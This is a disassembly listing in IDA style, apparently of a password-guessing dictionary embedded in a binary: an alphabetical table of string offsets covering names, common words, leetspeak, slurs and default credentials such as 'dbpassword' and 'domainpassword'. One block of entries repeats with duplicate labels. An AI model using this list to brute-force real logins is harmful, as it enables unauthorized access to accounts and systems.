dd offset aCarla ; "carla"
dd offset aCarmen ; "carmen"
dd offset aCarol ; "carol"
dd offset aCarole ; "carole"
dd offset aCarolina ; "carolina"
dd offset aCaroline ; "caroline"
dd offset aCarrie ; "carrie"
dd offset aCarson ; "carson"
dd offset aCascades ; "cascades"
dd offset aCash ; "cash"
dd offset aCastle ; "castle"
dd offset aCat ; "cat"
dd offset aCatherin ; "catherin"
dd offset aCatherine ; "catherine"
dd offset aCatholic ; "catholic"
dd offset aCathy ; "cathy"
dd offset aCave ; "cave"
dd offset aCayuga ; "cayuga"
dd offset aCecily ; "cecily"
dd offset aCelt ; "celt"
dd offset aCeltic ; "celtic"
dd offset aCeltics ; "celtics"
dd offset aCerulean ; "cerulean"
dd offset aChange ; "change"
dd offset aCharity ; "charity"
dd offset aCharles ; "charles"
dd offset aCharlie ; "charlie"
dd offset aCharming ; "charming"
dd offset aCharon ; "charon"
dd offset aChat_0 ; "chat"
dd offset aChem ; "chem"
dd offset aChemistr ; "chemistr"
dd offset aChemistry ; "chemistry"
dd offset aChess ; "chess"
dd offset aChester ; "chester"
dd offset aChip ; "chip"
dd offset aChris ; "chris"
dd offset aChristin ; "christin"
dd offset aChristina ; "christina"
dd offset aChristine ; "christine"
dd offset aChristy ; "christy"
dd offset aCigar ; "cigar"
dd offset aCigarett ; "cigarett"
dd offset aCindy ; "cindy"
dd offset aCisco ; "cisco"
dd offset aClass ; "class"
dd offset aClasses ; "classes"
dd offset aClassic ; "classic"
dd offset aClaudia ; "claudia"
dd offset aClaymore ; "claymore"
dd offset aCleavage ; "cleavage"
dd offset aClinton ; "clinton"
dd offset aCluster ; "cluster"
dd offset aClusters ; "clusters"
dd offset aCoast ; "coast"
dd offset aCocacola ; "cocacola"
dd offset aCocainco ; "cocainco"
dd offset aCock ; "cock"
dd offset aCode ; "code"
dd offset aCodename ; "codename"
dd offset aCodeword ; "codeword"
dd offset aCoffee ; "coffee"
dd offset aCoin ; "coin"
dd offset aCoke ; "coke"
dd offset aCola ; "cola"
dd offset aCold ; "cold"
dd offset aCollins ; "collins"
dd offset aColor ; "color"
dd offset aCombat ; "combat"
dd offset aComics ; "comics"
dd offset aCommit ; "commit"
dd offset aCommrade ; "commrade"
dd offset aCommrades ; "commrades"
dd offset aCompany ; "company"
dd offset aCompaq ; "compaq"
dd offset aComputer ; "computer"
dd offset aComputin ; "computin"
dd offset aComrade ; "comrade"
dd offset aComrades ; "comrades"
dd offset aCondo ; "condo"
dd offset aCondom ; "condom"
dd offset aConnect ; "connect"
dd offset aConnie ; "connie"
dd offset aConserva ; "conserva"
dd offset aConsole ; "console"
dd offset aContinue ; "continue"
dd offset aControl ; "control"
dd offset aCook ; "cook"
dd offset aCookbook ; "cookbook"
dd offset aCookie ; "cookie"
dd offset aCool ; "cool"
dd offset aCooper ; "cooper"
dd offset aCopper ; "copper"
dd offset aCops ; "cops"
dd offset aCopy ; "copy"
dd offset aCorneliu ; "corneliu"
dd offset aCornelius ; "cornelius"
dd offset aCorrect ; "correct"
dd offset aCounters ; "counters"
dd offset aCountry ; "country"
dd offset aCouscous ; "couscous"
dd offset aCowboy ; "cowboy"
dd offset aCrack ; "crack"
dd offset aCrackpot ; "crackpot"
dd offset aCrash ; "crash"
dd offset aCream ; "cream"
dd offset aCreate ; "create"
dd offset aCreation ; "creation"
dd offset aCreature ; "creature"
dd offset aCredit ; "credit"
dd offset aCreosote ; "creosote"
dd offset aCretin ; "cretin"
dd offset aCrime ; "crime"
dd offset aCriminal ; "criminal"
dd offset aCristina ; "cristina"
dd offset aCrystal ; "crystal"
dd offset aCshrc ; "cshrc"
dd offset aCtx ; "ctx"
dd offset aCunt ; "cunt"
dd offset aCustomer ; "customer"
dd offset aCyber ; "cyber"
dd offset aCyberpun ; "cyberpun"
dd offset aCyberspa ; "cyberspa"
dd offset aCynthia ; "cynthia"
dd offset aD00d ; "d00d"
dd offset aDaemon ; "daemon"
dd offset aDaisy ; "daisy"
dd offset aDana ; "dana"
dd offset aDancer ; "dancer"
dd offset aDaniel ; "daniel"
dd offset aDanielle ; "danielle"
dd offset aDanny ; "danny"
dd offset aDapper ; "dapper"
dd offset aDark ; "dark"
dd offset aDarkaven ; "darkaven"
dd offset aData ; "data"
dd offset aDatabase ; "database"
dd offset aDatabasepass ; "databasepass"
dd offset aDatabasepasswo ; "databasepassword"
dd offset aDave ; "dave"
dd offset aDawn ; "dawn"
dd offset aDb1 ; "db1"
dd offset aDb1234 ; "db1234"
dd offset aDbpass ; "dbpass"
dd offset aDbpassword ; "dbpassword"
dd offset aDead ; "dead"
dd offset aDeath ; "death"
dd offset aDeathsta ; "deathsta"
dd offset aDeb ; "deb"
dd offset aDebbie ; "debbie"
dd offset aDeborah ; "deborah"
dd offset aDebug ; "debug"
dd offset aDecember ; "december"
dd offset aDeck ; "deck"
dd offset aDefoe ; "defoe"
dd offset aDelta ; "delta"
dd offset aDeluge ; "deluge"
dd offset aDemo ; "demo"
dd offset aDemocrat ; "democrat"
dd offset aDenise ; "denise"
dd offset aDennis ; "dennis"
dd offset aDesiree ; "desiree"
dd offset aDesk ; "desk"
dd offset aDesktop ; "desktop"
dd offset aDesperat ; "desperat"
dd offset aDesperate ; "desperate"
dd offset aDevelop ; "develop"
dd offset aDevice ; "device"
dd offset aDevil ; "devil"
dd offset aDial ; "dial"
dd offset aDiamond ; "diamond"
dd offset aDiana ; "diana"
dd offset aDiane ; "diane"
dd offset aDice ; "dice"
dd offset aDick ; "dick"
dd offset aDiehard ; "diehard"
dd offset aDiet ; "diet"
dd offset aDieter ; "dieter"
dd offset aDigital ; "digital"
dd offset aDinosaur ; "dinosaur"
dd offset aDipshit ; "dipshit"
dd offset aDirect ; "direct"
dd offset aDirector ; "director"
dd offset aDirty ; "dirty"
dd offset aDisc ; "disc"
dd offset aDiscipli ; "discipli"
dd offset aDisclose ; "disclose"
dd offset aDiscover ; "discover"
dd offset aDiscovery ; "discovery"
dd offset aDisk_0 ; "disk"
dd offset aDiskette ; "diskette"
dd offset aDisney ; "disney"
dd offset aDisplay ; "display"
dd offset aDoctor ; "doctor"
dd offset aDog ; "dog"
dd offset aDollar ; "dollar"
dd offset aDomain ; "domain"
dd offset aDomainpass ; "domainpass"
dd offset aDomainpassword ; "domainpassword"
dd offset aDonaldduck ; "donaldduck"
dd offset aDong ; "dong"
dd offset aDoom ; "doom"
dd offset aDoom2 ; "doom2"
dd offset aDoomii ; "doomii"
dd offset aDoomsday ; "doomsday"
dd offset aDoonesbu ; "doonesbu"
dd offset aDoor ; "door"
dd offset aDoors ; "doors"
dd offset aDope ; "dope"
dd offset aDos ; "dos"
dd offset aDownload ; "download"
dd offset aDragon ; "dragon"
dd offset aDrdoom ; "drdoom"
dd offset aDrive ; "drive"
dd offset aDrought ; "drought"
dd offset aDuck ; "duck"
dd offset aDud3 ; "dud3"
dd offset aDude ; "dude"
dd offset aDudette ; "dudette"
dd offset aDuelist ; "duelist"
dd offset aDuke ; "duke"
dd offset aDulce ; "dulce"
dd offset aDuncan ; "duncan"
dd offset aDungeon ; "dungeon"
dd offset aDyke ; "dyke"
dd offset aEager ; "eager"
dd offset aEagle ; "eagle"
dd offset aEarth ; "earth"
dd offset aEasier ; "easier"
dd offset aEasy ; "easy"
dd offset aEatme ; "eatme"
dd offset aEcho ; "echo"
dd offset aEddie ; "eddie"
dd offset aEdges ; "edges"
dd offset aEdinburg ; "edinburg"
dd offset aEdinburgh ; "edinburgh"
dd offset aEdit ; "edit"
dd offset aEdition ; "edition"
dd offset aEdu ; "edu"
dd offset aEducatio ; "educatio"
dd offset aEducation ; "education"
dd offset aEdwin ; "edwin"
dd offset aEdwina ; "edwina"
dd offset aEgghead ; "egghead"
dd offset aEiderdow ; "eiderdow"
dd offset aEiderdown ; "eiderdown"
dd offset aEileen ; "eileen"
dd offset aEinsiein ; "einsiein"
dd offset aEinstein ; "einstein"
dd offset aElaine ; "elaine"
dd offset aElanor ; "elanor"
dd offset aElectron ; "electron"
dd offset aElephant ; "elephant"
dd offset aElizabet ; "elizabet"
dd offset aElizabeth ; "elizabeth"
dd offset aEllen ; "ellen"
dd offset aEmail ; "email"
dd offset aEmerald ; "emerald"
dd offset aEmily ; "emily"
dd offset aEmmanuel ; "emmanuel"
dd offset aEnable ; "enable"
dd offset aEnemy ; "enemy"
dd offset aEngine ; "engine"
dd offset aEngineer ; "engineer"
dd offset aEngland ; "england"
dd offset aEnglish ; "english"
dd offset aEnter ; "enter"
dd offset aEnterpri ; "enterpri"
dd offset aEnterprise ; "enterprise"
dd offset aEnzyme ; "enzyme"
dd offset aErenity ; "erenity"
dd offset aEric ; "eric"
dd offset aErica ; "erica"
dd offset aErika ; "erika"
dd offset aErin ; "erin"
dd offset aErotic ; "erotic"
dd offset aErsatz ; "ersatz"
dd offset aEstablis ; "establis"
dd offset aEstablish ; "establish"
dd offset aEstate ; "estate"
dd offset aEternity ; "eternity"
dd offset aEuclid ; "euclid"
dd offset aEvelyn ; "evelyn"
dd offset aExchange ; "exchange"
dd offset aExchnge ; "exchnge"
dd offset aExpert ; "expert"
dd offset aExplode ; "explode"
dd offset aExplore ; "explore"
dd offset aExplorer ; "explorer"
dd offset aExplosiv ; "explosiv"
dd offset aExtensio ; "extensio"
dd offset aExtension ; "extension"
dd offset aFairway ; "fairway"
dd offset aFaith ; "faith"
dd offset aFalcon ; "falcon"
dd offset aFalse ; "false"
dd offset aFamily ; "family"
dd offset aFarad ; "farad"
dd offset aFaraday ; "faraday"
dd offset aFart ; "fart"
dd offset aFast ; "fast"
dd offset aFear ; "fear"
dd offset aFeds ; "feds"
dd offset aFelicia ; "felicia"
dd offset aFender ; "fender"
dd offset aFermat ; "fermat"
dd offset aFerrari ; "ferrari"
dd offset aFidelity ; "fidelity"
dd offset aField ; "field"
dd offset aFight ; "fight"
dd offset aFile ; "file"
dd offset aFinite ; "finite"
dd offset aFire ; "fire"
dd offset aFirewall ; "firewall"
dd offset aFish ; "fish"
dd offset aFishers ; "fishers"
dd offset aFlakes ; "flakes"
dd offset aFloat ; "float"
dd offset aFlorida ; "florida"
dd offset aFlower ; "flower"
dd offset aFlowers ; "flowers"
dd offset aFoobar ; "foobar"
dd offset aFood ; "food"
dd offset aFool ; "fool"
dd offset aFoolproo ; "foolproo"
dd offset aFoolproof ; "foolproof"
dd offset aFootball ; "football"
dd offset aForce ; "force"
dd offset aFord ; "ford"
dd offset aForesigh ; "foresigh"
dd offset aForesight ; "foresight"
dd offset aForever ; "forever"
dd offset aForm ; "form"
dd offset aFormat ; "format"
dd offset aFornicat ; "fornicat"
dd offset aForsythe ; "forsythe"
dd offset aFourier ; "fourier"
dd offset aFoxtrot ; "foxtrot"
dd offset aFrance ; "france"
dd offset aFrank ; "frank"
dd offset aFreak ; "freak"
dd offset aFred ; "fred"
dd offset aFreddy ; "freddy"
dd offset aFree ; "free"
dd offset aFreedom ; "freedom"
dd offset aFrench ; "french"
dd offset aFriday ; "friday"
dd offset aFriend ; "friend"
dd offset aFriends ; "friends"
dd offset aFrighten ; "frighten"
dd offset aFrog ; "frog"
dd offset aFryguy ; "fryguy"
dd offset aFubar ; "fubar"
dd offset aFuck ; "fuck"
dd offset aFucked ; "fucked"
dd offset aFucker ; "fucker"
dd offset aFucking ; "fucking"
dd offset aFuckme ; "fuckme"
dd offset aFuckyou ; "fuckyou"
dd offset aFudge ; "fudge"
dd offset aFun ; "fun"
dd offset aFunction ; "function"
dd offset aFungible ; "fungible"
dd offset aGabriel ; "gabriel"
dd offset aGames ; "games"
dd offset aGardner ; "gardner"
dd offset aGarfield ; "garfield"
dd offset aGateway ; "gateway"
dd offset aGatherin ; "gatherin"
dd offset aGatt ; "gatt"
dd offset aGauss ; "gauss"
dd offset aGeorge ; "george"
dd offset aGerm ; "germ"
dd offset aGertrude ; "gertrude"
dd offset aGhost ; "ghost"
dd offset aGibson ; "gibson"
dd offset aGigabyte ; "gigabyte"
dd offset aGina ; "gina"
dd offset aGinger ; "ginger"
dd offset aGirl ; "girl"
dd offset aGlacier ; "glacier"
dd offset aGlen ; "glen"
dd offset aGnu ; "gnu"
dd offset aGobo ; "gobo"
dd offset aGod ; "god"
dd offset aGodblessyou ; "godblessyou"
dd offset aGold ; "gold"
dd offset aGolden ; "golden"
dd offset aGolf ; "golf"
dd offset aGolfer ; "golfer"
dd offset aGood ; "good"
dd offset aGorgeous ; "gorgeous"
dd offset aGorges ; "gorges"
dd offset aGosling ; "gosling"
dd offset aGouge ; "gouge"
dd offset aGovermen ; "govermen"
dd offset aGrades ; "grades"
dd offset aGraham ; "graham"
dd offset aGrahm ; "grahm"
dd offset aGrand ; "grand"
dd offset aGrant ; "grant"
dd offset aGreat ; "great"
dd offset aGreen ; "green"
dd offset aGroup ; "group"
dd offset aGryphon ; "gryphon"
dd offset aGuardian ; "guardian"
dd offset aGucci ; "gucci"
dd offset aGuess ; "guess"
dd offset aGuessme ; "guessme"
dd offset aGuitar ; "guitar"
dd offset aGumption ; "gumption"
dd offset aGuntis ; "guntis"
dd offset aH4x0r1ng ; "h4x0r1ng"
dd offset aH4x0ring ; "h4x0ring"
dd offset aH4x1ng ; "h4x1ng"
dd offset aHack ; "hack"
dd offset aHacked ; "hacked"
dd offset aHacker ; "hacker"
dd offset aHagar ; "hagar"
dd offset aHair ; "hair"
dd offset aHal ; "hal"
dd offset aHallowee ; "hallowee"
dd offset aHamlet ; "hamlet"
dd offset aHamster ; "hamster"
dd offset aHandel ; "handel"
dd offset aHandily ; "handily"
dd offset aHandjob ; "handjob"
dd offset aHappenin ; "happenin"
dd offset aHappening ; "happening"
dd offset aHard ; "hard"
dd offset aHardcore ; "hardcore"
dd offset aHarddriv ; "harddriv"
dd offset aHarmony ; "harmony"
dd offset aHarold ; "harold"
dd offset aHarvey ; "harvey"
dd offset aHate ; "hate"
dd offset aHaven ; "haven"
dd offset aHawaii ; "hawaii"
dd offset aHax ; "hax"
dd offset aHax0r ; "hax0r"
dd offset aHaxing ; "haxing"
dd offset aHead ; "head"
dd offset aHeadbang ; "headbang"
dd offset aHeadoffice ; "headoffice"
dd offset aHeat ; "heat"
dd offset aHeathen ; "heathen"
dd offset aHeather ; "heather"
dd offset aHeaven ; "heaven"
dd offset aHebrides ; "hebrides"
dd offset aHeidi ; "heidi"
dd offset aHeinlein ; "heinlein"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aHelp ; "help"
dd offset aHerb ; "herb"
dd offset aHerbert ; "herbert"
dd offset aHero ; "hero"
dd offset aHeroin ; "heroin"
dd offset aHewlett ; "hewlett"
dd offset aHexadeci ; "hexadeci"
dd offset aHiawatha ; "hiawatha"
dd offset aHibernia ; "hibernia"
dd offset aHidden ; "hidden"
dd offset aHigh ; "high"
dd offset aHighland ; "highland"
dd offset aHitler ; "hitler"
dd offset aHits ; "hits"
dd offset aHo ; "ho"
dd offset aHole ; "hole"
dd offset aHolly ; "holly"
dd offset aHollywoo ; "hollywoo"
dd offset aHome ; "home"
dd offset aHomepage ; "homepage"
dd offset aHomer ; "homer"
dd offset aHomeuser ; "homeuser"
dd offset aHomework ; "homework"
dd offset aHoney ; "honey"
dd offset aHooker ; "hooker"
dd offset aHooters ; "hooters"
dd offset aHorny ; "horny"
dd offset aHorrible ; "horrible"
dd offset aHorror ; "horror"
dd offset aHorse ; "horse"
dd offset aHorus ; "horus"
dd offset aHost ; "host"
dd offset aHotdog ; "hotdog"
dd offset aHotel ; "hotel"
dd offset aHq ; "hq"
dd offset aHttp_0 ; "http"
dd offset aHunt ; "hunt"
dd offset aHunter ; "hunter"
dd offset aHutchins ; "hutchins"
dd offset aHydrogen ; "hydrogen"
dd offset aHyper ; "hyper"
dd offset aHypertxt ; "hypertxt"
dd offset aIan ; "ian"
dd offset aIbm ; "ibm"
dd offset aIcecream ; "icecream"
dd offset aIhavenopass ; "ihavenopass"
dd offset aIllumina ; "illumina"
dd offset aImage ; "image"
dd offset aImbrogli ; "imbrogli"
dd offset aImbroglio ; "imbroglio"
dd offset aImmortal ; "immortal"
dd offset aImperial ; "imperial"
dd offset aInclude ; "include"
dd offset aIndia ; "india"
dd offset aIndian ; "indian"
dd offset aIndiana ; "indiana"
dd offset aIndians ; "indians"
dd offset aIngres ; "ingres"
dd offset aIngress ; "ingress"
dd offset aIngrid ; "ingrid"
dd offset aInna ; "inna"
dd offset aInnocuou ; "innocuou"
dd offset aInnocuous ; "innocuous"
dd offset aInput ; "input"
dd offset aInside ; "inside"
dd offset aInteger ; "integer"
dd offset aInternet ; "internet"
dd offset aIntranet ; "intranet"
dd offset aInvent ; "invent"
dd offset aIrene ; "irene"
dd offset aIrishman ; "irishman"
dd offset aIrule ; "irule"
dd offset aIsis ; "isis"
dd offset aJackie ; "jackie"
dd offset aJail ; "jail"
dd offset aJane ; "jane"
dd offset aJanet ; "janet"
dd offset aJanice ; "janice"
dd offset aJanie ; "janie"
dd offset aJapan ; "japan"
dd offset aJasmin ; "jasmin"
dd offset aJava ; "java"
dd offset aJazz ; "jazz"
dd offset aJean ; "jean"
dd offset aJeanne ; "jeanne"
dd offset aJeff ; "jeff"
dd offset aJen ; "jen"
dd offset aJenni ; "jenni"
dd offset aJennifer ; "jennifer"
dd offset aJenny ; "jenny"
dd offset aJerry ; "jerry"
dd offset aJerusale ; "jerusale"
dd offset aJessica ; "jessica"
dd offset aJester ; "jester"
dd offset aJewelry ; "jewelry"
dd offset aJill ; "jill"
dd offset aJixian ; "jixian"
dd offset aJoan ; "joan"
dd offset aJoanne ; "joanne"
dd offset aJody ; "jody"
dd offset aJoe ; "joe"
dd offset aJohn ; "john"
dd offset aJohndoe ; "johndoe"
dd offset aJohnny ; "johnny"
dd offset aJoseph ; "joseph"
dd offset aJoshua ; "joshua"
dd offset aJournal ; "journal"
dd offset aJoy ; "joy"
dd offset aJoyce ; "joyce"
dd offset aJudith ; "judith"
dd offset aJudy ; "judy"
dd offset aJuggle ; "juggle"
dd offset aJuicy ; "juicy"
dd offset aJulia ; "julia"
dd offset aJulie ; "julie"
dd offset aJuliet ; "juliet"
dd offset aJune ; "june"
dd offset aJupiter ; "jupiter"
dd offset aKaka ; "kaka"
dd offset aKaren ; "karen"
dd offset aKarie ; "karie"
dd offset aKarina ; "karina"
dd offset aKatana ; "katana"
dd offset aKate ; "kate"
dd offset aKathleen ; "kathleen"
dd offset aKathrine ; "kathrine"
dd offset aKathy ; "kathy"
dd offset aKatie ; "katie"
dd offset aKatina ; "katina"
dd offset aKatrina ; "katrina"
dd offset aKelly ; "kelly"
dd offset aKeri ; "keri"
dd offset aKermit ; "kermit"
dd offset aKernel ; "kernel"
dd offset aKerri ; "kerri"
dd offset aKerrie ; "kerrie"
dd offset aKerry ; "kerry"
dd offset aKevin ; "kevin"
dd offset aKewl ; "kewl"
dd offset aKey ; "key"
dd offset aKeybord ; "keybord"
dd offset aKeyin ; "keyin"
dd offset aKeyword ; "keyword"
dd offset aKiddie ; "kiddie"
dd offset aKids ; "kids"
dd offset aKill ; "kill"
dd offset aKiller ; "killer"
dd offset aKillthem ; "killthem"
dd offset aKilo ; "kilo"
dd offset aKim ; "kim"
dd offset aKimberly ; "kimberly"
dd offset aKing ; "king"
dd offset aKirk ; "kirk"
dd offset aKirkland ; "kirkland"
dd offset aKiss ; "kiss"
dd offset aKissmyas ; "kissmyas"
dd offset aKitten ; "kitten"
dd offset aKlingon ; "klingon"
dd offset aKnife ; "knife"
dd offset aKnight ; "knight"
dd offset aKnightma ; "knightma"
dd offset aKnown ; "known"
dd offset aKrista ; "krista"
dd offset aKristen ; "kristen"
dd offset aKristi ; "kristi"
dd offset aKristie ; "kristie"
dd offset aKristin ; "kristin"
dd offset aKristine ; "kristine"
dd offset aKristy ; "kristy"
dd offset aL337 ; "l337"
dd offset aL33t ; "l33t"
dd offset aLadies ; "ladies"
dd offset aLadle ; "ladle"
dd offset aLakers ; "lakers"
dd offset aLambda ; "lambda"
dd offset aLaminati ; "laminati"
dd offset aLamination ; "lamination"
dd offset aLan ; "lan"
dd offset aLana ; "lana"
dd offset aLaptop ; "laptop"
dd offset aLara ; "lara"
dd offset aLarkin ; "larkin"
dd offset aLarry ; "larry"
dd offset aLaser ; "laser"
dd offset aLaura ; "laura"
dd offset aLava ; "lava"
dd offset aLazarus ; "lazarus"
dd offset aLazer ; "lazer"
dd offset aLeah ; "leah"
dd offset aLebesgue ; "lebesgue"
dd offset aLee ; "lee"
dd offset aLeet ; "leet"
dd offset aLeft ; "left"
dd offset aLeftwing ; "leftwing"
dd offset aLegal ; "legal"
dd offset aLeland ; "leland"
dd offset aLeroy ; "leroy"
dd offset aLesbian ; "lesbian"
dd offset aLeslie ; "leslie"
dd offset aLetmein ; "letmein"
dd offset aLewis ; "lewis"
dd offset aLexluthe ; "lexluthe"
dd offset aLiberal ; "liberal"
dd offset aLibrary ; "library"
dd offset aLick ; "lick"
dd offset aLicker ; "licker"
dd offset aLife ; "life"
dd offset aLight ; "light"
dd offset aLightsab ; "lightsab"
dd offset aLima ; "lima"
dd offset aLimbaugh ; "limbaugh"
dd offset aLimited ; "limited"
dd offset aLinda ; "linda"
dd offset aLink ; "link"
dd offset aLinux ; "linux"
dd offset aLion ; "lion"
dd offset aLips ; "lips"
dd offset aLisa ; "lisa"
dd offset aLisp ; "lisp"
dd offset aLiteratu ; "literatu"
dd offset aLive ; "live"
dd offset aLiz ; "liz"
dd offset aLoad ; "load"
dd offset aLock ; "lock"
dd offset aLockout ; "lockout"
dd offset aLockword ; "lockword"
dd offset aLogic ; "logic"
dd offset aLoginpass ; "loginpass"
dd offset aLoginwor ; "loginwor"
dd offset aLogout ; "logout"
dd offset aLois ; "lois"
dd offset aLol ; "lol"
dd offset aLolopc ; "lolopc"
dd offset aLoose ; "loose"
dd offset aLore ; "lore"
dd offset aLori ; "lori"
dd offset aLorin ; "lorin"
dd offset aLorraine ; "lorraine"
dd offset aLoser ; "loser"
dd offset aLouis ; "louis"
dd offset aLove ; "love"
dd offset aLovebug ; "lovebug"
dd offset aLover ; "lover"
dd offset aLuck ; "luck"
dd offset aLucus ; "lucus"
dd offset aLucy ; "lucy"
dd offset aLude ; "lude"
dd offset aLuke ; "luke"
dd offset aLust ; "lust"
dd offset aLynn ; "lynn"
dd offset aLynne ; "lynne"
dd offset aMachine ; "machine"
dd offset aMacintos ; "macintos"
dd offset aMacintosh ; "macintosh"
dd offset aMack ; "mack"
dd offset aMacro ; "macro"
dd offset aMaggot ; "maggot"
dd offset aMagic ; "magic"
dd offset aMagnet ; "magnet"
dd offset aMail ; "mail"
dd offset aMain ; "main"
dd offset aMaint ; "maint"
dd offset aMalcolm ; "malcolm"
dd offset aMalcom ; "malcom"
dd offset aMana ; "mana"
dd offset aManager ; "manager"
dd offset aMara ; "mara"
dd offset aMarci ; "marci"
dd offset aMarcy ; "marcy"
dd offset aMaria ; "maria"
dd offset aMariens ; "mariens"
dd offset aMarietta ; "marietta"
dd offset aMarijuan ; "marijuan"
dd offset aMarines ; "marines"
dd offset aMark ; "mark"
dd offset aMarkus ; "markus"
dd offset aMarni ; "marni"
dd offset aMarriage ; "marriage"
dd offset aMars ; "mars"
dd offset aMarty ; "marty"
dd offset aMarvin ; "marvin"
dd offset aMary ; "mary"
dd offset aMason ; "mason"
dd offset aMass ; "mass"
dd offset aMaster ; "master"
dd offset aMath ; "math"
dd offset aMaurice ; "maurice"
dd offset aMeagan ; "meagan"
dd offset aMegabyte ; "megabyte"
dd offset aMegadeth ; "megadeth"
dd offset aMegan ; "megan"
dd offset aMelissa ; "melissa"
dd offset aMellon ; "mellon"
dd offset aMelrose ; "melrose"
dd offset aMember ; "member"
dd offset aMemory ; "memory"
dd offset aMenace ; "menace"
dd offset aMenu ; "menu"
dd offset aMercury ; "mercury"
dd offset aMegadeth ; "megadeth"
dd offset aMegan ; "megan"
dd offset aMelissa ; "melissa"
dd offset aMellon ; "mellon"
dd offset aMelrose ; "melrose"
dd offset aMember ; "member"
dd offset aMemory ; "memory"
dd offset aMenace ; "menace"
dd offset aMenu ; "menu"
dd offset aMercury ; "mercury"
dd offset aMerlin ; "merlin"
dd offset aMetal ; "metal"
dd offset aMetalhea ; "metalhea"
dd offset aMetalica ; "metalica"
dd offset aMets ; "mets"
dd offset aMgr ; "mgr"
dd offset aMice ; "mice"
dd offset aMichael ; "michael"
dd offset aMichel ; "michel"
dd offset aMichelan ; "michelan"
dd offset aMichele ; "michele"
dd offset aMichelle ; "michelle"
dd offset aMickey ; "mickey"
dd offset aMicro ; "micro"
dd offset aMicrochi ; "microchi"
dd offset aMicropro ; "micropro"
dd offset aMicrosof ; "microsof"
dd offset aMidieval ; "midieval"
dd offset aMike ; "mike"
dd offset aMine ; "mine"
dd offset aMinimum ; "minimum"
dd offset aMinsky ; "minsky"
dd offset aMirc_0 ; "mirc"
dd offset aMisfit ; "misfit"
dd offset aMission ; "mission"
dd offset aMit ; "mit"
dd offset aMkii ; "mkii"
dd offset aMode ; "mode"
dd offset aModem ; "modem"
dd offset aMogul ; "mogul"
dd offset aMoguls ; "moguls"
dd offset aMonday ; "monday"
dd offset aMonica ; "monica"
dd offset aMoom ; "moom"
dd offset aMoor ; "moor"
dd offset aMoose ; "moose"
dd offset aMore ; "more"
dd offset aMorley ; "morley"
dd offset aMorris ; "morris"
dd offset aMortal ; "mortal"
dd offset aMortalco ; "mortalco"
dd offset aMortgage ; "mortgage"
dd offset aMosaic ; "mosaic"
dd offset aMountain ; "mountain"
dd offset aMouse ; "mouse"
dd offset aMove ; "move"
dd offset aMovie ; "movie"
dd offset aMovies ; "movies"
dd offset aMozart ; "mozart"
dd offset aMpeg ; "mpeg"
dd offset aMsdos ; "msdos"
dd offset aMuppets ; "muppets"
dd offset aMutant ; "mutant"
dd offset aMypass ; "mypass"
dd offset aMypass123 ; "mypass123"
dd offset aMypc ; "mypc"
dd offset aMypc123 ; "mypc123"
dd offset aNagel ; "nagel"
dd offset aName ; "name"
dd offset aNancy ; "nancy"
dd offset aNapoleon ; "napoleon"
dd offset aNasa ; "nasa"
dd offset aNavy ; "navy"
dd offset aNeil ; "neil"
dd offset aNepenthe ; "nepenthe"
dd offset aNeptune ; "neptune"
dd offset aNess ; "ness"
dd offset aNet ; "net"
dd offset aNetDevil ; "net-devil"
dd offset aNetbios ; "netbios"
dd offset aNetdevil ; "netdevil"
dd offset aNetfuck ; "netfuck"
dd offset aNetscape ; "netscape"
dd offset aNetwork_0 ; "network"
dd offset aNew ; "new"
dd offset aNewborn ; "newborn"
dd offset aNews ; "news"
dd offset aNewsgrou ; "newsgrou"
dd offset aNewton ; "newton"
dd offset aNewyork ; "newyork"
dd offset aNext ; "next"
dd offset aNice ; "nice"
dd offset aNicole ; "nicole"
dd offset aNicotine ; "nicotine"
dd offset aNight ; "night"
dd offset aNightmar ; "nightmar"
dd offset aNintendo ; "nintendo"
dd offset aNita ; "nita"
dd offset aNnaacp ; "nnaacp"
dd offset aNoble ; "noble"
dd offset aNobody ; "nobody"
dd offset aNode ; "node"
dd offset aNokia ; "nokia"
dd offset aNone ; "none"
dd offset aNoob ; "noob"
dd offset aNoreen ; "noreen"
dd offset aNotes ; "notes"
dd offset aNoth ; "noth"
dd offset aNova ; "nova"
dd offset aNovel ; "novel"
dd offset aNovember ; "november"
dd offset aNoxious ; "noxious"
dd offset aNuclear ; "nuclear"
dd offset aNude ; "nude"
dd offset aNuke ; "nuke"
dd offset aNukem ; "nukem"
dd offset aNull_1 ; "null"
dd offset aNumber ; "number"
dd offset aNutritio ; "nutritio"
dd offset aNutrition ; "nutrition"
dd offset aNuts ; "nuts"
dd offset aNyquist ; "nyquist"
dd offset aObscurit ; "obscurit"
dd offset aOceanogr ; "oceanogr"
dd offset aOceanography ; "oceanography"
dd offset aOcelot ; "ocelot"
dd offset aOeminstall ; "oeminstall"
dd offset aOemuser ; "oemuser"
dd offset aOffice ; "office"
dd offset aOkay ; "okay"
dd offset aOldage ; "oldage"
dd offset aOlivetti ; "olivetti"
dd offset aOlivia ; "olivia"
dd offset aOmega ; "omega"
dd offset aOpen ; "open"
dd offset aOpening ; "opening"
dd offset aOpenlock ; "openlock"
dd offset aOpensesa ; "opensesa"
dd offset aOperator ; "operator"
dd offset aOracle ; "oracle"
dd offset aOrange ; "orange"
dd offset aOrca ; "orca"
dd offset aOrient ; "orient"
dd offset aOrwell ; "orwell"
dd offset aOscar ; "oscar"
dd offset aOsiris ; "osiris"
dd offset aOutdoors ; "outdoors"
dd offset aOutlaw ; "outlaw"
dd offset aOutlook ; "outlook"
dd offset aOutput ; "output"
dd offset aOutside ; "outside"
dd offset aOwa ; "owa"
dd offset aOwn ; "own"
dd offset aOwned ; "owned"
dd offset aOxford ; "oxford"
dd offset aPacific ; "pacific"
dd offset aPackard ; "packard"
dd offset aPacker ; "packer"
dd offset aPad ; "pad"
dd offset aPainless ; "painless"
dd offset aPaint ; "paint"
dd offset aPakistan ; "pakistan"
dd offset aPam ; "pam"
dd offset aPamela ; "pamela"
dd offset aPapa ; "papa"
dd offset aPaper ; "paper"
dd offset aPapers ; "papers"
dd offset aPascal ; "pascal"
dd offset aPass_0 ; "pass"
dd offset aPass123 ; "pass123"
dd offset aPass1234 ; "pass1234"
dd offset aPassphra ; "passphra"
dd offset aPasswd ; "passwd"
dd offset aPassword1 ; "password1"
dd offset aPassword123 ; "password123"
dd offset aPaste ; "paste"
dd offset aPat ; "pat"
dd offset aPatricia ; "patricia"
dd offset aPatrick ; "patrick"
dd offset aPatriot ; "patriot"
dd offset aPatty ; "patty"
dd offset aPaula ; "paula"
dd offset aPc ; "pc"
dd offset aPeanuts ; "peanuts"
dd offset aPecker ; "pecker"
dd offset aPencil ; "pencil"
dd offset aPenelope ; "penelope"
